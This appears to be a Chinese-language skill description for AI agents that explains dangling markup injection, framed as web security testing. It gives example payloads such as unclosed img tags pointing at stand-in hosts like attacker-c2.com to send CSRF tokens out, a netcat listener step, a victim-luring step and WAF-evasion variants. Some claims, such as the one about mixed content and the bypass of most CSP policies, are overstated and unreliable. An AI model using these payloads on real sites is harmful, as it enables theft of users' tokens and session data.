hanging-markup-injection 是做什么的?
悬空标记注入攻击手册。当HTML注入可行但JavaScript执行被阻止时(CSP、消毒器剥离事件处理程序、WAF拦截脚本标签),通过注入未闭合的HTML标签捕获后续页面内容,从而窃取CSRF令牌、会话数据和页面内容。
工作原理
悬空标记注入本质上是利用HTML解析器的容错机制。当注入的标签(如<img src=)未闭合时,浏览器的解析器会将后续的HTML内容视为该标签的属性值,直到遇到下一个闭合标签(如>或')。这样,原本位于页面中的CSRF令牌、会话ID、表单数据或其他机密信息就会被“捕获”到标签的属性中,随后可以通过引用第三方服务器的资源(如<img src=http://attacker-c2.com/log?)将数据发送到攻击者控制的服务器。
适用场景
- 反射型HTML注入:在URL参数或表单字段中注入未闭合的标签,当页面渲染时,响应中的其他敏感数据会被捕获。
- 存储型HTML注入:将恶意输入永久存储在服务器上(如评论、个人资料),之后每个访问该页面的用户都会泄露其数据。
- 跨域数据外泄:通过
<img src=等标签发起GET请求,将数据附加到URL中发送到外部服务器,从而绕过大多数CSP策略(CSP通常不限制图片加载)。
平台支持
该技能适用于任何允许用户控制HTML输出的Web应用程序,与具体编程语言(PHP、Python、Java、Node.js等)无关。它可以在Claude Code、Cursor、Codex等AI代理中作为自动化测试步骤集成,或由安全专业人员手动执行。
实施步骤
- 识别注入点:找到应用程序中将用户输入嵌入HTML响应的位置(如搜索框、表单字段、错误消息)。
- 检测JavaScript限制:确认CSP策略或WAF规则禁止
<script>标签或事件处理器(如onerror)。 - 注入悬空标记:选择一个合适的标签(如
<img src='http://attacker-server/?),并在属性值开头留下未闭合的单引号或双引号。 - 设置监听器:在攻击者控制的服务器上设置一个HTTP日志服务器(如使用
nc -l -p 80或python3 -m http.server)。 - 触发并捕获:让受害者访问包含恶意输入的页面,或者等待存储型注入被其他用户查看。浏览器会将后续内容作为属性值发送到监听器地址。
示例
假设目标URL为http://example.com/search?q=test,并且搜索结果页面上显示用户查询(HTML注入),同时页面中包含一个隐藏的CSRF令牌:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abcdef12345">
...
</form>
通过注入<img src='http://attacker-c2.com/log?(不闭合单引号),如果应用程序直接输出查询,则渲染后的HTML为:
<img src='http://attacker-c2.com/log?
...
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abcdef12345">
浏览器会尝试加载http://attacker-c2.com/log?<整个后续内容直到遇到'>'>,从而将CSRF令牌在内的数据发送到攻击者服务器。
注意事项
- 确保攻击者服务器能够接收跨域请求(CORS头可能不需要,因为请求是浏览器发起的简单GET)。
- 在HTTPS页面上注入HTTP请求时,现代浏览器可能会混合内容警告,但数据仍会被发送。
- 某些WAF可能会检测未闭合的引号,因此可以尝试变体如
<img src=(不提供协议)或<a href=//attacker.com/。 - 受限于HTML长度和解析器行为,捕获的数据可能包含多余的字符,需要后续清理。
该技能是Web安全测试工具箱中的重要补充,特别是在面临严格JavaScript执行限制时,提供了一种绕过手段来验证数据泄露风险。